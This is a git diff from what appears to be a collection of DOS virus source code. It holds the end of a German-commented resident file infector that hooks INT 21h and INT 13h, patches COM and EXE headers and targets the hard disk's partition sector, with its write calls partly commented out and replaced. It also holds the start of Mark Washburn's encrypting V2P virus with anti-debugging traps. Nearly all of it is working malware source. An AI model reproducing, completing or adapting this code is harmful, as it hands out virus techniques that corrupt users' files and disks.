DS + PUSH DX + MOV DX,Offset J0093E-Offset Firstbyte + CALL Zerstoere + MOV WORD PTR CS:[Offset VirusEnde-Offset FirstByte],0000h + POP DX + POP DS + JMP J00260 + ;----------------------------------------------------- +J002B0: CMP AX,4B01h ; Load Overlay + JZ J002C9 + CMP AH,3Dh ; Open file + JZ J002C4 + CMP AH,43h ; Change Fileattribut + JZ J002C4 + CMP AH,56h ; rename File + JNZ J002CC + +J002C4: CALL CheckFile + JNZ J002CC ; NZ -> EXE oder COM + +J002C9: CALL Zerstoere + +J002CC: JMP ToINT21h + ;----------------------------------------------------- +CheckFile: + PUSH AX + PUSH SI + MOV SI,DX + +SuchEXT:LODSB + TEST AL,AL + JZ J002FC + CMP AL,'.' + JNZ SuchEXT + + CALL GetChar + MOV AH,AL + CALL GetChar + CMP AX,'oc' ; ein COM-File ? + JZ J002F5 + CMP AX,'xe' ; ein EXE-File ? + JNZ J002FE + CALL GetChar + CMP AL,'e' + JMP SHORT J002FE + ;----------------------------------------------------- +J002F5: CALL GetChar + CMP AL,'m' ; war es ein COM-File ?? + JMP SHORT J002FE + ;----------------------------------------------------- +J002FC: INC AL ; Lscht ZF ! +J002FE: POP SI + POP AX + RETN + ;----------------------------------------------------- +GetChar:LODSB + CMP AL,'C' ; 43h ; Buchstaben zwischen 'C'und 'Y' + JB J0030C ; werden in Kleinschrift gewandelt + CMP AL,'Y' ; 59h + JNB J0030C + ADD AL,20h +J0030C: RETN + ;------------( virus callt int 21h )------------------ +INT21: PUSHF + PUSH CS + CALL JmpToINT21H + RETN + ;----------------------------------------------------- +Zerstoere: + CALL PushAll + MOV SI,DS + ;------------------------- Get Int 24h ----------------- + XOR AX,AX + MOV DS,AX + MOV DI,13h*4 + LES AX,Dword Ptr DS:[DI+44h] + PUSH ES + PUSH AX + ;------------------------- Set Int 24h ----------------- + MOV WORD PTR DS:[DI+44h],Offset VirINT24-Offset FirstByte + MOV Word Ptr DS:[DI+46h],CS + ;------------------------- Get Int 13h ----------------- + LES AX,Dword Ptr DS:[DI] + MOV Word Ptr CS:[Offset INT13H+1-Offset FirstByte],AX ; CS:92B + MOV Word Ptr CS:[Offset INT13H+3-Offset FirstByte],ES ; CS:92D + ;------------------------- Set Int 13h ----------------- + MOV WORD PTR DS:[DI ],Offset VirInt13H-Offset FirstByte + MOV Word Ptr DS:[DI+02h],CS + PUSH ES + PUSH AX + PUSH DI + PUSH DS + MOV AH,54h ; Get verify-Status + INT 21H + PUSH AX + MOV AX,2E00h ; Set verify-Status OFF + INT 21H + MOV DS,SI + MOV AX,4300h ; Get Fileattribut + CALL INT21 + JB J0038B + TEST CL,04h + JNZ J0038B + MOV BX,CX + AND CL,0FEh + CMP CL,BL + MOV AX,4301h ; Set Fileattribut + PUSH AX + JZ J0036C + CALL INT21 + CMC +J0036C: PUSHF + PUSH DS + PUSH DX + PUSH BX + MOV AX,3D02h ; ffne R/W + CALL INT21 + JB J00381 + XCHG AX,BX + CALL INFECT_File + MOV AH,3Eh ; Close file + CALL INT21 +J00381: POP CX + POP DX + POP DS + POPF + POP AX + JNB J0038B + CALL INT21 +J0038B: POP AX + MOV AH,2Eh ; Set verify-Status + INT 21H + POP DS + MOV AL,Byte Ptr DS:[046Ch] ; Get Timer-Byte 000:46C + DEC AX + OR AL,byte Ptr DS:[043Fh] ; Get Disk-Motor-Status, + ; -> welches Laufwerk war grade + ; eben eingeschaltet ???????? + AND AL,0Fh + JNZ J003E1 + MOV DL,80h ; Platte C: + MOV AH,08h ; Get drive-parameters + INT 13H + JB J003E1 + MOV DI,0010h ; +J003A8: MOV AX,0201h ; Lese 1 Sektor + MOV BX,Offset Buffer - Offset FirstByte ; 0880h; nach CS:998h + MOV DL,80h ; Platte C: + INT 13H ; Welcher Sektor steht in CX.... + ;----------------------------------------------------------- + CMP WORD PTR CS:[BX ],1F0Eh ; scanne 0e 1f 83 2e + JNZ J003D8 ; PUSH CS, POP DS + CMP WORD PTR CS:[BX+02h],2E83h ; SUB Word Ptr DS:[xxxx],yyyy + JNZ J003D8 + ;----------------------------------------------------------- + MOV AX,0202h ; Lese 2 Sektoren + PUSH BX + MOV BH,0Ah ; Puffer ist 10 byte dahinter + DEC CX ; 2 Sektoren davor lesen + DEC CX + INT 13H + POP BX + ;----------------------------------------------------- + ; MOV AX,0303h ; Drei Sektoren berschreiben + ; MOV CX,0001h ; Sektor Nummer 1 / Partitionssektor ! + ; XOR DH,DH ; Kopf 0 + ; INT 13H ; Kaputt ! + ;======( eingefgt )======================= + CALL DISPLAYACTIVITY + ;========================================== + JMP SHORT J003E1 + ;----------------------------------------------------- +J003D8: TEST CH,CH + JZ J003E1 + DEC CH + DEC DI + JNZ J003A8 +J003E1: POP DI + POP Word Ptr DS:[DI] + POP Word Ptr DS:[DI+02h] + POP Word Ptr DS:[DI+44h] + POP Word Ptr DS:[DI+46h] + +PopALL: POP ES + POP DS + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + INC SP + INC SP + RETN + ;----------------------------------------------------- +J003F8: CALL PushAll + PUSH CS + POP ES + MOV DI,Offset VirusEnde-Offset FirstByte + STOSW + MOV SI,DX + MOV CX,0050h +J00406: LODSB + STOSB + TEST AL,AL + JZ PopALL + LOOP J00406 + MOV Word Ptr ES:[Offset VirusEnde-Offset FirstByte],CX + JMP PopALL + ;----------------------------------------------------- +Suche_Bontchev: + CALL PushAll + PUSH CS + POP DS + CMP BYTE Ptr DS:[Offset Bontchev_Flag-Offset FirstByte],00h; CS:98F + JZ PopALL + MOV AH,51h + CALL INT21 + MOV ES,BX + MOV CX,Word Ptr ES:[0006h] + SUB DI,DI +J0042F: MOV SI,Offset BontChev-Offset FirstByte + LODSB + REPNZ SCASB + JNZ J00446 + ;-------------------------------------- + ; BONTCHEV gefunden. System aufhngen ! + ;-------------------------------------- + PUSH CX + PUSH DI + MOV CX,0007h + REPZ CMPSB + POP DI + POP CX + JNZ J0042F + ; ---------------------- refresh-timer verstellen --------------- + ; MOV AL,54h + ; OUT 43h,AL ; ergibt Parittsfehler ! + ;======( eingefgt )======================= + CALL DISPLAYACTIVITY + ;========================================== + +J00446: MOV BYTE Ptr DS:[Offset Bontchev_Flag-Offset FirstByte],00h + JMP PopALL ; == RET + ;----------------------------------------------------- +JmpCOM: MOV DI,0100h + ADD SI,Offset OldCode-Offset FirstByte + MOV SP,Word Ptr DS:[0006h] + XOR BX,BX + PUSH BX + PUSH DI + MOVSB + MOVSW + RETN + ;----------------------------------------------------- +J0045F: POP SI ; Get IP + SUB SI,Offset InstallDevice-Offset FirstByte + CLD + INC WORD PTR CS:[SI+Offset Generation - Offset Firstbyte] + NOT BYTE PTR CS:[SI+Offset BontChev- Offset FirstByte] + CMP WORD PTR CS:[SI+Offset OldCode - Offset FirstByte],'MZ' + JZ J00486 + CLI + MOV SP,SI + ADD SP,Offset @Stack-Offset Firstbyte + STI + CMP SP,Word Ptr DS:[0006h] + JNB JmpCOM ; Zuwenig Stack , keine Infektion mglich ! + +J00486: PUSH AX + PUSH ES + PUSH SI + PUSH DS + MOV DI,SI + ;------------------------- Get Int 13h ----------------- + XOR AX,AX + PUSH AX + MOV DS,AX + LDS DX,DWord Ptr DS:[13h*4] ; Get INT 13 in DS:DX + + MOV AH,30h + INT 21H ; Get DOS-version + MOV Byte Ptr CS:[SI+Offset DOS_Version -Offset Firstbyte],AL + + CMP AL,03h ; Dosversion 3 ?? + JB J004AE + + MOV AH,13h ; Swap INT 13h-Handler + INT 2FH ; Jetzt enthlt DS:DX und + ; ES:BX aber ROM-Entry + PUSH DS + PUSH DX ; Merk Dir den ROM-Entry + MOV AH,13h ; und swappe zurck ! + INT 2FH + POP DX + POP DS + ;--------------------------------------------------------------------------- +J004AE: MOV Word Ptr CS:[SI+Offset Int13ROM_Entry+1-Offset FirstByte],DX + MOV Word Ptr CS:[SI+Offset Int13ROM_Entry+3-Offset FirstByte],DS + MOV Word Ptr CS:[SI+Offset Int13JMP +1-Offset Firstbyte],DX + MOV Word Ptr CS:[SI+Offset Int13JMP +3-Offset Firstbyte],DS + + POP DS + PUSH DS ; AX=0 als DS vom Stack holen + MOV AX,Word Ptr DS:[0102h] + ; Segment INT 40h (Disk-Bios-Entry) holen + CMP AX,0F000h ; zeigt es ins ROM ? + JNZ J00542 ; + + MOV Word Ptr CS:[SI+Offset Int13ROM_Entry+1-Offset FirstByte],AX + MOV AX,Word Ptr DS:[0100h] + MOV Word Ptr CS:[SI+Offset Int13ROM_Entry+3-Offset FirstByte],AX + + MOV DL,80h ; DL auf Festplatte C: einstellen + MOV AX,Word Ptr DS:[0106h] ; Adresse des BPB des Platte C: holen + CMP AX,0F000h ; Zeiger ins ROM ? + JZ J004FF + CMP AH,0C8h ; Zeiger in Segment C800 ? + JB J00542 + CMP AH,0F4h ; Zeiger in Segment F400 ? + JNB J00542 + + TEST AL,7Fh ; auf xxXX:xxxx ? + JNZ J00542 ; Auf xxXX:xxxx ! + MOV DS,AX ; DS einstellen + CMP WORD Ptr DS:[0000h],0AA55h ; ist dort eine BIOS-Kennung ? + JNZ J00542 ; nein + MOV DL,Byte Ptr DS:[0002h] + ; ?? Lnge des Bios ?? holen + +J004FF: MOV DS,AX + XOR DH,DH + MOV CL,09h ; DX * 512 + SHL DX,CL + MOV CX,DX + XOR SI,SI +J0050B: LODSW ;------- Code-Analyse ! -------------------- + CMP AX,0FA80h ; CMP DL,xx + JNZ J00519 + LODSW + CMP AX,7380h ; CMP DL,80h + JZ J00524 ; JNB xxxx + + JNZ J0052E +J00519: CMP AX,0C2F6h ; TEST DL,xx + JNZ J00530 ; + LODSW + CMP AX,7580h ; TEST Dl,80h + JNZ J0052E ; JBE xxxx + +J00524: INC SI + LODSW + CMP AX,40CDh ;INT 40h. Suche danach den INT 40-Aufruf + JZ J00535 + SUB SI,+03h +J0052E: DEC SI + DEC SI +J00530: DEC SI + LOOP J0050B + JMP SHORT J00542 + ;----------------------------------------------------- +J00535: SUB SI,+07h + + MOV Word Ptr CS:[DI+Offset Int13JMP + 1 - Offset FirstByte],SI + MOV Word Ptr CS:[DI+Offset Int13JMP + 3 - Offset FirstByte],DS + +J00542: MOV SI,DI + POP DS + ;------------------------- Get Int 21h ----------------- + LES AX,Dword Ptr DS:[21h*4] + MOV Word Ptr CS:[SI+Offset INT21H - Offset FirstByte],AX + MOV Word Ptr CS:[SI+Offset INT21H + 2 - Offset FirstByte],ES + PUSH CS + POP DS + NOT BYTE Ptr DS:[SI+Offset Bontchev-Offset FirstByte] + + CMP AX,Offset VirInt21h-Offset FirstByte + JNZ J0056B ; Noch nicht verbogen ! + XOR DI,DI + + MOV CX,Offset Int13ROM_Entry + 1 - Offset FirstByte + REPZ CMPSB + JNZ J0056B + POP ES + JMP J005F0 + ;---------------( berechnen der neuen Position im RAM )----- +J0056B: POP DS + PUSH DS + MOV AX,SP + INC AX + MOV CL,04h + SHR AX,CL + INC AX + MOV CX,SS + ADD AX,CX + MOV CX,DS + DEC CX + MOV ES,CX + MOV DI,0002h + MOV DX,010Ch + MOV CX,Word Ptr DS:[DI] + SUB CX,DX + CMP CX,AX + JB J005EF + + POP AX + SUB Word Ptr ES:[DI+01h],DX + MOV Word Ptr DS:[DI ],CX + MOV ES,CX + MOV AX,CX + CALL J008F2 + MOV BX,AX + MOV CX,DX + MOV AX,DS + CALL J008F2 + ADD AX,Word Ptr DS:[DI+04h] + ADC DX,+00h + SUB AX,BX + SBB DX,CX + JB J005B2 + SUB Word Ptr DS:[DI+04h],AX +J005B2: POP SI + PUSH SI + PUSH DS + PUSH CS + XOR DI,DI + MOV DS,DI + ;------------------------- Get Int 27h ------------------------- + LDS AX,DWord Ptr DS:[27h*4] ; Hole INT 27H + MOV Word Ptr CS:[SI+Offset INT27H -Offset FirstByte],AX + MOV Word Ptr CS:[SI+Offset INT27H + 2 -Offset FirstByte],DS + POP DS + MOV BYTE Ptr DS:[SI+Offset Bontchev_Flag-Offset FirstByte],00h + + ;--------------------------------------------------------------- + MOV CX,Offset Buffer-Offset Firstbyte ; 0440h; 997h kopieren + REPZ MOVSW ; Ins obere RAM kopieren + + ;------------------------- Set Int 21h ----------------- + XOR AX,AX + MOV DS,AX + MOV WORD PTR DS:[21h*4 ],Offset VirInt21h-Offset FirstByte + MOV WORD PTR DS:[21h*4+2],ES + ;------------------------- Set Int 27h ----------------- + MOV WORD PTR DS:[27h*4 ],Offset VirInt27H-Offset FirstByte + MOV WORD PTR DS:[27h*4+2],ES + MOV ES:[Offset VirusEnde-Offset FirstByte],AX + +J005EF: POP ES +J005F0: POP SI + ;------------------------- Get Int 13h ----------------- + XOR AX,AX + MOV DS,AX + MOV AX,Word Ptr DS:[13h*4] + MOV Word Ptr CS:[SI+Offset int13JMP+1-Offset FirstByte],AX + MOV AX,Word Ptr DS:[13h*4+2] + MOV Word Ptr CS:[SI+Offset Int13JMP+3-Offset FirstByte],AX + ;------------------------- Set Int 13h ----------------- + + MOV WORD Ptr DS:[13h*4],Offset VirInt13h-Offset FirstByte + ADD Word Ptr DS:[13h*4 ],SI ; SI = Offset FirstByte + MOV Word Ptr DS:[13h*4+2],CS + + POP DS + PUSH DS + + PUSH SI + + MOV DS,Word Ptr DS:[002Ch] ; Get Envir-Segment + XOR SI,SI +J0061C: LODSW + DEC SI + TEST AX,AX ; Suche Ende des Environments + JNZ J0061C + + POP DI ; = mov di,Offset Firstbyte + PUSH DI + PUSH ES + CMP BYTE PTR CS:[DI+Offset DOS_Version-Offset FirstByte],03h + JB J00635 + ADD SI,+03h ; zeigt auf grade gestartetes File + MOV AX,121Ah ; get File's drive, DS:SI->Filename + INT 2FH ; AL <- Drive + ;---------------------------------------------------------- +J00635: MOV DL,AL + MOV AH,32h ; Get DPB + INT 21H ; DS:BX zeigt auf Disk-Parm-Block + ; DS ist dabei immer das DOS-Segment + ;=========================================================== + ;0275:033A 0E 00 05 E0 03 00 00 00 originaler DPB + ;0275:0342 00 00 00 00 00 1B 5E 03 + ;0275:034A 75 02 01 00 00 00 00 00 + ;======================================== + ; es:0215 1A 02 04 xx xx xx xx xx Neuer "DPB" im CS + ; es:021D xx xx xx xx xx xx 55 02 + ; es:0225 D1 30 01 00 00 00 xx xx + ;======================================== + ; ds:01AE 43 4C 4F 43 4B 24 20 20 CLOCK$ + ; ds:01B6 CA 01 70 00 40 08 DC 05 + ; ds:01BE 34 06 ................... Erste returnadresse + ; 05 80 ............. Zweite returnadresse + ; 00 01 00 00 + ;=========================================================== + PUSH CS + POP ES ; ES ist CS + + ADD DI,Offset VirInt24-Offset Firstbyte + ; DI war Offset Firstbyte + MOV SI,DI ; SI = Offset VIRINT24h + + MOV AL,1Ah ; Drive + MOV AH,Byte Ptr DS:[BX+DPB.SubUnit] + STOSW ; AX -> ES:DI ( Drive+Subunit) + MOV AL,04h + STOSB ; AL -> ES:DI ( Sectorsize ) + + ADD DI,+0Ah ; DI <- Offset Virint24h+13h + ; DI = Offset ToINT21h-1 + + MOV DX,Word Ptr DS:[BX+DPB.FstDataSector] + CMP Byte Ptr CS:[SI+Offset DOS_Version-Offset VirInt24],AL + JB J0065A + INC BX + +J0065A: MOV AL,byte Ptr DS:[BX+DPB.MediaDescrpt] + STOSB + + MOV AX,SI + ADD AX,0040h ; AX = Ofs VirInt24+40h + ; AX = Offset 221h, Byte vor "CMP AX,2527" + STOSW ; + MOV AX,ES + STOSW ; + MOV AX,0001h ; + STOSW ; + DEC AX ; AX = 0 + STOSW ; +;------------------------------------------------------------------ + LDS DI,DWord Ptr DS:[BX+DPB.Device] + + MOV BX,SI ; jetzt zeigt BX auf Virint24 + ;---------------------------------------------------------- + PUSH CS ; AX=0 + ; DS:DI zeigt auf Link; + ; ES:BX = residentes VirInt24h + CALL InstallDevice + ;---------------------------------------------------------- + ; Installation des Virus als 'device' + ; Hier installiert es sich durch die Hintertuer !!! + ;---------------------------------------------------------- + ; + ;-------( Hier wird der Code verndert )------------------ + ; + ;---------------------------------------------------------- + ; ES=CS ! + + SHL BYTE PTR ES:[BX+02h],1 ; aus 04 wird 08, + ; Ofs virint24 + 2 ; Ofs 1e3 + + INC BYTE PTR ES:[BX+Offset JMPLabel-Offset Virint24] + ; JZ 0283 -> JZ 284 + ; Ofs Virint24 + 4ah; Ofs 22B + + AND BYTE PTR ES:[BX+Offset JMPLabel-Offset VirInt24],0Fh + ; JZ 284 -> JZ 234 + ; nach CMP AH,31h + ; Ofs VirInt24 + 4ah + PUSHF + JNZ J006A3 + MOV AX,Word Ptr ES:[BX+Offset Get21Label-Offset Virint24] + ; 3521, aus 'CMP AX,3521' + ; Ofs Virint24 + 48h; Ofs 229 + + ADD AX,0040h ; AX = 3561 + + CMP AX,Word Ptr ES:[BX+Offset Keeplabel-Offset Virint24] + ; 744B = JZ 01FE + ; Ofs Virint24 + 53h; Ofs 234 + JB J0069F + INC AX ; AX = 3562 + AND AX,003Fh ; AX = 0022 + ADD AX,DX ; DX ist DPB.DataSektor + CMP AX,Word Ptr ES:[BX+Offset Keeplabel-Offset Virint24] + ; 744B + ; Ofs Virint24 + 53h + JNB J006B3 +J0069F: MOV Word Ptr ES:[BX+Offset Get21Label-Offset Virint24],AX + ; Ofs Virint24 + 48h +J006A3: + ;---------------------------------------------------------- + PUSH CS + CALL InstallDevice + ;---------------------------------------------------------- + + POPF + JNZ J006B2 + MOV Word Ptr ES:[BX+Offset JMPToInt21H-Offset VirInt24+4],AX + ; Ofs VirInt24 + 14h + + ;---------------------------------------------------------- + PUSH CS + CALL InstallDevice + ;---------------------------------------------------------- + +J006B2: PUSHF +J006B3: POPF + POP ES + POP SI + ;------------------------- Re-Set Int 13h --------------- + XOR AX,AX + MOV DS,AX + MOV Byte Ptr CS:[SI+Offset Bontchev - Offset FirstByte],AL + MOV AX,Word Ptr CS:[SI+Offset INT13H+1-Offset FirstByte] + MOV Word Ptr DS:[13h*4 ],AX + MOV AX,Word Ptr CS:[SI+Offset INT13H+3-Offset FirstByte] + MOV Word Ptr DS:[13h*4+2],AX + ;------------------------------------------------------- + POP DS + POP AX + CMP WORD PTR CS:[SI+Offset OldCode-Offset Firstbyte],'MZ' + JNZ J006DD + JMP JmpEXE + ;----------------------------------------------------- +J006DD: JMP JmpCOM + ;----------------------------------------------------- +J006E0: CALL PushAll + MOV AH,51h ; GET PSP + INT 21H + SUB DI,DI ; DI = 0 + MOV AX,DI ; AX = 0 + DEC BX ; Auf MCB des Master-programs zeigen +MCB_Loop: + ADC BX,AX + MOV DS,BX + MOV AX,Word Ptr DS:[DI+03h] ; MCB-Size nach AX + CMP BYTE Ptr DS:[DI],'Z' ; Letzter MCB ? + JB MCB_Loop ; NEIN -> MCB_Loop + CMP DI,Word Ptr DS:[DI+01h] ; Owner of MCB = Himself ? + JNZ J0075A ; => Command.com + INC BX ; Auf PSP zeigen + MOV ES,BX ; ES=PSP-Segment + CMP AX,1000h ; MCB-Size < 1000h ? + JB J00708 + MOV AX,1000h ; Wenn MCB >= 1000h -> MCB=1000H +J00708: MOV CL,03h + SHL AX,CL ; MCB := MCB * 8 + MOV CX,AX + REPZ STOSW ; AX->ES:DI, CX mal + JMP SHORT J0075A + ;------------------------------------------------------ +Virus_KEEP_Procedure: + ;------------------------------------------------------ + CALL PushAll + ;------------------------- Get Int 21h ---------------- + MOV CX,Offset VirInt21H -Offset FirstByte + XOR DI,DI + MOV DS,DI + LES DX,Dword Ptr DS:[21h*4] ; ES:DX = Int 21h + ;------------------------------------------------------ + PUSH CS + POP DS + CMP DX,CX ; Ist INT 21 schon von + JNZ J0072E ; mir bernommen ? + MOV AX,ES + MOV SI,CS ; dieselbe Frage + CMP AX,SI + JZ J0075A + ;-------------------------------------------------- + ; Nein, INT21h wird z.Z. nicht von mir 'bearbeitet' + ;--------------------------vvvvvvvvvvvvvvvvvvvvvvv +J0072E: MOV AX,Word Ptr ES:[DI] ; Nochmal dieselbe + CMP AX,CX ; Abfrage des INT 21h + JNZ J0073D + MOV AX,CS + CMP AX,Word Ptr ES:[DI+02h] + JZ J00742 +J0073D: INC DI + JNZ J0072E + JMP SHORT J0074E + ;----------------------------------------------------- + ; Setzen des INT 21h auf die Virus-Prozedur + ;----------------------------------------------------- +J00742: MOV SI,Offset INT21H - Offset FirstByte + CLD + MOVSW + MOVSW ; DS:SI-> ES:DI + MOV Word Ptr DS:[SI-04h],DX ; 994 + MOV Word Ptr DS:[SI-02h],ES ; 996 +J0074E: XOR DI,DI + MOV DS,DI + MOV Word Ptr DS:[21h*4 ],CX + MOV Word Ptr DS:[21h*4+2],CS +J0075A: JMP PopALL ; == RET ! + ;----------------------------------------------------- +INFECT_File: + PUSH CS + POP DS + PUSH CS + POP ES + + MOV SI,Offset Buffer-Offset Firstbyte ; 880h + MOV DX,SI + MOV CX,0018h ; Lese 18h byte nach DS:SI + MOV AH,3Fh + INT 21H + + XOR CX,CX + XOR DX,DX + MOV AX,4202h ; Seek File-ENDE + INT 21H + + MOV Word Ptr DS:[SI+1Ah],DX ; FilePointer, HiWord + CMP AX,0809h ; ist File lnger als 2057 Byte + SBB DX,+00h + JB J007F7 ; und kleiner als 65536 byte ? + + MOV Word Ptr DS:[SI+18h],AX ; NEIN ! + + MOV AX,'MZ' + CMP Word Ptr DS:[SI],AX ; Ein EXE ? + JZ J00793 + CMP WORD Ptr DS:[SI],'ZM' ; Ein Overlay ? + JNZ J007AE + + MOV Word Ptr DS:[SI],AX ; ja,dann machen wir's zum EXE ! + ; (Depp dieser ! ) +J00793: MOV AX,Word Ptr DS:[SI+0Ch] ; Maximum Memory needed + TEST AX,AX + JZ J007F7 ; keines ?? + MOV AX,Word Ptr DS:[SI+08h] ; Minimum needed + ADD AX,Word Ptr DS:[SI+16h] ; ADD CS-Init + CALL J008F2 + ADD AX,Word Ptr DS:[SI+14h] ; ADD IP-Init + ADC DX,+00h + MOV CX,DX + XCHG AX,DX + JMP SHORT J007C0 + ;-------------------------------- +J007AE: CMP BYTE Ptr DS:[SI],0E9H ; Ein COM. Fngt's mit JMP xy an ? + JNZ J007F8 ; nein + MOV DX,Word Ptr DS:[SI+01h] ; ja, dann ist es gaaanz leicht... + ADD DX,0103h + JB J007F8 ; Sprung ber 1 Segment ? + DEC DH + XOR CX,CX +J007C0: SUB DX,4Dh + SBB CX,00h + MOV AX,4200h + INT 21H ; Seek INIT-Code - 4Dh + + ADD AX,Offset VirusEnde-Offset FirstByte + ADC DX,+00h + + SUB AX,Word Ptr DS:[SI+18h] ; Filesize Low-word + SBB DX,Word Ptr DS:[SI+1Ah] ; Filesize hi-word + + INC DX + JNZ J007F8 + CMP AX,0FFF0h + JB J007F8 + + ADD SI,1Ch + MOV DX,SI + MOV CX,0809h ; 2057h Byte lesen + MOV AH,3Fh + INT 21H + + JB J007F8 + CMP CX,AX + JNZ J007F8 + XOR DI,DI + REPZ CMPSB ; BIN ICH SCHON DRINNEN ?? + JNZ J007F8 +J007F7: RETN ; Ja........... + ;----------------------------------------------------- +J007F8: MOV SI,Offset Buffer-Offset FirstByte + XOR CX,CX + XOR DX,DX + MOV AX,4202h ; seek file-ende + INT 21H + + MOV BYTE Ptr DS:[SI-0Ah],00h ; DOS_Version + CMP WORD Ptr DS:[SI ],'MZ' + JZ SeekCodeStart + ADD AX,0A80h ; = 2688d + ADC DX,+00h + JZ J0082F + RETN + ;----------------------------------------------------- +SeekCodeStart: + MOV DX,Word Ptr DS:[SI+18h] + MOV Byte Ptr DS:[SI-0Ah],DL + NEG DL + AND DX,+0Fh + XOR CX,CX + MOV AX,4201h + INT 21H ; Seek ($ + CX:DX) + MOV Word Ptr DS:[SI+18h],AX + MOV Word Ptr DS:[SI+1Ah],DX + ;-------------------------------------------------- + ; Infektion erfolgt hier + ;-------------------------------------------------- +J0082F: MOV AX,5700h ; Hole File-Datum/Uhrzeit + INT 21H + PUSHF + PUSH CX + PUSH DX + MOV DI,Offset OldCode-Offset FirstByte + + PUSH SI ; Si zeigt auf 'MZ' + MOVSB ; 3 byte sichern + MOVSW + ADD SI,+11h + MOVSW ; 4 byte sichern + MOVSW + SUB SI,+0Ah ; + MOVSW ; nochmal 4 byte sichern + MOVSW + + POP SI + XOR DX,DX + MOV CX,Offset VirusEnde-Offset FirstByte + ;------------------------------------------ + ; MOV AH,40h ; SCHREIBE + ; INT 21H + ;======( eingefgt )======================= + PUSH CX + CALL DISPLAYACTIVITY + POP AX + ;========================================== + ;------------------------------------------ + JB J0086A + XOR CX,AX + JNZ J0086E + MOV CL,Byte Ptr DS:[SI-0Ah] + AND CL,0Fh + TEST CX,CX + JNZ J00863 + MOV CL,10h +J00863: MOV DX,0000h + ;------------------------------------------ + ; MOV AH,40h ; SCHREIBE + ; INT 21H + ;======( eingefgt )======================= + PUSH CX + CALL DISPLAYACTIVITY + POP AX + ;========================================== + ;------------------------------------------ +J0086A: JB SetFileAsInfected + XOR CX,AX +J0086E: JNZ SetFileAsInfected + MOV DX,CX + MOV AX,4200h + INT 21H ; DOS Function Call + CMP WORD PTR DS:[SI],'MZ' + JZ J0088E + ;----------------------------( Korrektur des COM-Starts )----- + MOV BYTE PTR DS:[SI],0E9H + MOV AX,WORD PTR DS:[SI+18h] + ADD AX,004Ah + MOV WORD PTR DS:[SI+01h],AX + MOV CX,0003h + JMP SHORT J008DC + ;----------------------------( Korrektur des EXE-Headers )---- +J0088E: CALL J008EF + NOT AX + NOT DX + INC AX + JNZ J00899 + INC DX +J00899: ADD AX,WORD Ptr DS:[SI+18h] + ADC DX,WORD Ptr DS:[SI+1Ah] + MOV CX,0010h + DIV CX + MOV WORD Ptr DS:[SI+14h],004Dh + MOV WORD Ptr DS:[SI+16h],AX + ADD AX,0083h + MOV WORD Ptr DS:[SI+0Eh],AX + MOV WORD Ptr DS:[SI+10h],0100h + + ADD WORD Ptr DS:[SI+18h],Offset VirusEnde-Offset FirstByte + ADC WORD Ptr DS:[SI+1Ah],+00h + + MOV AX,WORD Ptr DS:[SI+18h] + AND AX,01FFh + MOV WORD Ptr DS:[SI+02h],AX + PUSHF + MOV AX,WORD Ptr DS:[SI+19h] + SHR BYTE Ptr DS:[SI+1Bh],1 + RCR AX,1 + POPF + JZ J008D6 + INC AX +J008D6: MOV WORD Ptr DS:[SI+04h],AX + MOV CX,0018h ; Lnge des EXE-Headers + ; +J008DC: MOV DX,SI + ;------------------------------------------ + ; MOV AH,40h ; SCHREIBE + ; INT 21H + ;======( eingefgt )======================= + CALL DISPLAYACTIVITY + ;========================================== + ;------------------------------------------ +SetFileAsInfected: + POP DX ; Hole File-Datum/Uhrzeit vom Stack + POP CX + POPF + JB J008F7 + OR CL,1Fh ; Set File-Uhrzeit, Sekunde auf 62 ! + MOV AX,5701h + INT 21H + +J008EF: MOV AX,WORD Ptr DS:[SI+08h] +J008F2: MOV DX,0010h + MUL DX +J008F7: RETN + ;----------------------------------------------------- + DB "(c) 1990" + DB " by Vesselin " +BontChev DB "Bontchev" + DB 00h + ;----------------------------------------------------- +VirInt13H: CMP AH,03h ; Write Sektors + JNZ INT13H + CMP DL,80h ; festplatte ?? + JNB Int13JMP +Int13ROM_Entry: DB 0EAH + DW 0 + DW 0 ; JMP 0000:0000 ; 920 +;----------------------------------------------------- +Int13JMP: DB 0EAh + DW 0 + DW 0 ; JMP 0000:0000 ; 925 +;----------------------------------------------------- +INT13H: DB 0EAH + DW 0 + DW 0 ; JMP 0000:0000 ; 92A +;----------------------------------------------------- +OldCode: INT 20 ; Terminate a COM program + INT 3 +IP_init: DW 0100h +CS_Init: DW 0 +SS_INIT: DW 0 +SP_INIT: DW 0 +Generation: DW 0 +;----------------------------- mehr wird nicht weggeschrieben - +Virusende: +;-------------------------------------------------------------- + DW ? +J0093E: DW ? + DW 27 DUP (?) +DOS_Version: DB ? +Bontchev_Flag: DB ? +INT27H: DD ? +INT21H: DD ? +Buffer: +FilePuffer: +@Stack EQU $ + 80H +;-------------------------------------------------------------- +code ENDS + END start +;-------------------------------------------------------------- + diff --git a/v/V2P.ASM b/v/V2P.ASM new file mode 100755 index 0000000..cdabcb8 --- /dev/null +++ b/v/V2P.ASM @@ -0,0 +1,759 @@ +; +; +; Copyright (C) Mark Washburn, 1990. All Rights Reserved +; +; +; Inquires are directed to : +; Mark Washburn +; 4656 Polk Street NE +; Columbia Heights, MN 55421 +; USA +; +; +; +; +code segment public 'CODE' + org 100h +; + assume cs:code,ds:code,es:code +; + +stopdebug equ 1 ; define this for disassembly trap code +int1vec equ 4 +int3vec equ 12 +; +dta_ptr equ -4 +file_crea equ -8 +file_attr equ -10 +path_start_ptr equ -12 +file_start_ptr equ -14 +RAND_SEED equ -16 +ptr1 equ -18 ; pointer to start of loop code +ptr2 equ -20 ; save data_begin pointer +dat1 equ -22 ; the random code used +dat2 equ -24 ; the decode length plus random length offset, max_msk + ; to make the decode routine more difficult to detect +dat3 equ -26 ; the 'necessary crypt code' mask +; +IFNDEF stopdebug +local_stack equ 26 +max_msk equ 0ffh ; this determines the maximum variance of length +ELSE +nobugptr equ -28 +oldint3 equ -32 +oldint1 equ -36 +local_stack equ 36 +max_msk equ 0ffh ; this determines the maximum variance of length +ENDIF +; +; +; +doscall macro call_type + ifnb + mov ah, call_type + endif + int 21h + endm +; +setloc macro arg1,reg2 + mov [bp + arg1],reg2 + endm +; +getloc macro reg1,arg2 + mov reg1,[bp + arg2] + endm +; +setdat macro arg1,reg2 + mov [si + offset arg1 - offset data_begin],reg2 + endm +; +getdat macro reg1,arg2 + mov reg1,[si + offset arg2 - offset data_begin] + endm +; +regofs macro reg1,arg2 + mov reg1,si + add reg1,offset (arg2 - data_begin) + endm +; +NOBUG1 macro +IFDEF stopdebug + INT 3 + NOP +ENDIF + endm +; +nobug2 macro +IFDEF stopdebug + INT 3 